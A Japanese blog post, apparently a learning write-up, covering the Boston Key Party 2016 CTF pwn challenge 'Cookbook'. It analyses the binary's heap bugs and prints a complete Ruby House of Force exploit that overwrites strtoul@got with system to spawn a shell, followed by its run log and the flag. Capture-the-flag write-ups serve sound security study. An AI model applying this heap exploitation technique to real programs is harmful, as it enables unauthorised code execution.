読者です 読者をやめる 読者になる 読者になる

Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

Bosten Key Party2016 Cookbook (pwn6)

BKPが近いということで,前年度の問題を復習してみた.本問題は以前まとめた

pwn.hatenadiary.jp

Houes of Forceを使って解くことが出来る問題である.私自身,この一回しかHouse of Forceを使ったことがないので良い練習問題になり,久しぶりに全部自力で解くことができた.

下調べ

vagrant@vagrant-ubuntu-trusty ~/c/B/Cookbook> file cookbook                                                                                           ASLR: ON
cookbook: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=2397d3d3c3b98131022ddd98f30e702bd4b88230, stripped
vagrant@vagrant-ubuntu-trusty ~/c/B/Cookbook> checksec --file cookbook                                                                                ASLR: ON
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes 0       3   cookbook

libc配布

問題としてはまぁまぁなバイナリ

解析

vagrant@vagrant-ubuntu-trusty ~/c/B/Cookbook> ./cookbook                                                                                              ASLR: ON
what's your name?
Chihiro
+-----------------------------+
|          .--,--.            |
|          `.  ,.'            |
|           |___|             |
|           :o o:             |
|          _`~^~'             |
|        /'   ^   `\          |
| cooking manager pro v6.1... |
+-----------------------------+
====================
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
a
====================
[l]ist current stats?
[n]ew ingredient?
[c]ontinue editing ingredient?
[d]iscard current ingredient?
[g]ive name to ingredient?
[p]rice ingredient?
[s]et calories?
[q]uit (doesn't save)?
[e]xport saving changes (doesn't quit)?

バイナリ自体は上記のようにいろんなコマンドで動きがあり,生ぬるい問題と違ってほぼ全部実装されているため解析だけで6時間ぐらいかかってしまった.実際に解析する人のために手助けとなる情報としては,片方向リストで,材料,レシピの二つが管理されており,リストへのaddListやdeleteList,serachList的な関数があり多く見える.また,ほとんどのfgetsが使われているところではNULL終端されるようになっている. 問題文にもtop chefとあるようにHouse of Forceを伺わせる問題であり,その観点での解析から得られることを以下にまとめた.

  • e -> a -> n -> lでmain_arena+48とヒープ領域のアドレスがリーク
  • c -> n -> gでHeapOverflowを発生
  • g では,mallocで確保するサイズをユーザで決められる(負数OK)

Exploit

前述の記事も参考にしていただきたいが,House of Forceを行うためには以下の3つの条件が必要だと考えている.

  1. top chunkのアドレスが求められる
  2. top chunkのサイズを-1などのunsignedで大きな値に書き換えられる
  3. mallocに負数を渡せる

これら3つの条件は解析パートの最後を見るとすべて満たしていることがわかる. 今回は,strtoul@gotを__libc_systemに書き換えて/bin/shを入力してシェルを起動させる方針を取った.その際,House of Forceではtop chunkのアドレスを固定するので,固定後のmallocで返ってくるのは、top chunk + 8なので(malloc_chunk構造体の管理部分を考慮),top chunkが、strtoul@gotの8byte前のputs@gotのアドレスになるように考えると以下の計算式より要求サイズが求まる.

要求サイズ = puts@got - 現在のtop - 8

したがって、この要求サイズをmallocで呼ぶことで,戻り値のアドレスをstrtoul@gotに固定でき、後続するfgetsで、そこに入力することができ、GOT overwriteが可能となる.

これらのこと踏まえて作成したexploitを以下に示す.途中mallocやcallocでSEGVが起きてしまってうまく行かなかった流れがあったので,余計な処理を挟んでいるが,正直なぜこれでうまくいくかわからないので誰か教えて欲しい.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'

host = 'localhost'
port = 8888

def heap_leak(t)
  t.recv_until("[q]uit\n")
  t.sendline("e")
  t.recv_until("exterminate? ")
  t.sendline("olive oil")
  t.recv_until("[q]uit\n")
  t.sendline("a")
  t.recv_until("quit)?")
  t.sendline("n")
  t.recv_until("quit)?")
  t.sendline("l")
  t.recv_until("calories: ")
  main_arena = t.recv_until("\n").to_i + 2**32
  offset_main_arena = 0x1ab420
  $libc_base = main_arena - offset_main_arena - 48
  t.recv_until("price: ")
  $heap_base = t.recv_until("\n").to_i - 2504
  t.recv_until("quit)?")
  t.sendline("d")
  t.recv_until("quit)?")
  t.sendline("q")
end

PwnTube.open(host, port) do |t|

  t.recv_until("name?\n")
  t.sendline("Chihiro")
  
  t.recv_until("[q]uit\n")
  t.sendline("c")
  
  t.recv_until("[q]uit\n")
  t.sendline("n")

  t.recv_until("[q]uit\n")
  t.sendline("q")

  heap_leak(t)
  top_chunk   = $heap_base + 0x16b8
  libc_system = $libc_base + 0x40310

  puts "heap base   0xx" % $heap_base
  puts "top chunk   0xx" % top_chunk
  puts "libc base   0xx" % $libc_base
  puts "libc system 0xx" % libc_system

  t.recv_until("[q]uit\n")
  t.sendline("c")
  
  t.recv_until("[q]uit")
  t.sendline("g")
  
  # sturct Rceipe {
  #   uint32_t *ingredient_name;
  #   uint32_t *ingredient_nums;
  #   char name[116];
  #   char category[16];
  #   char instructions[896];
  # };
  
  # called fgets(Recipe->instructions, 0x40c, stdin)
  # So, overwrite the top chunk size
  payload = "A" * 0x380
  payload << p32(-1)
  t.sendline(payload)

  t.recv_until("[q]uit")
  t.sendline("q")

  t.recv_until("[q]uit\n")
  t.sendline("g")
  t.recv_until(": ")

  # House of Force

  # 次のmallocの戻り値がstrtoul@gotに固定される
  target = 0x804d030 - 8 - top_chunk
  target = 2 ** 32 + target

  t.sendline(target.to_s(16))  # size
  t.sendline("GOMI")           # value

  # このままgでmallocを呼ぶとSEGVで落ちてしまった.(おそらく指定したサイズが悪い?)
  # そこで違うところでcallocを呼んでみたらうまくいった
  # 理由はわからない・・・誰か教えてほしい
  t.recv_until("[q]uit\n")
  t.sendline("c")

  t.recv_until("[q]uit\n")
  t.sendline("n")

  t.recv_until("[q]uit\n")
  t.sendline("q")

  t.recv_until("[q]uit\n")
  t.sendline("g")
  t.recv_until(": ")

  t.sendline("100")            # size 適当
  t.sendline(p32(libc_system)) # value

  t.recv_until("[q]uit\n")
  t.sendline("g")
  t.recv_until(": ")

  # strtoul@got -> __libc_system
  t.sendline("/bin/sh")        

  t.shell

end

以下が実行結果である.

vagrant@vagrant-ubuntu-trusty ~/c/B/Cookbook> ruby x.rb                                                                                               ASLR: ON
[*] connected
heap base   0x0867f000
top chunk   0x086806b8
libc base   0xf7620000
libc system 0xf7660310
[*] waiting for shell...
[*] interactive mode
cat flag.txt
BKPCTF{hey_my_grill_doesnt_work_here}

感想

自力で解けて嬉しかったけど,時間かかりすぎたw 丸一日かけてしまったw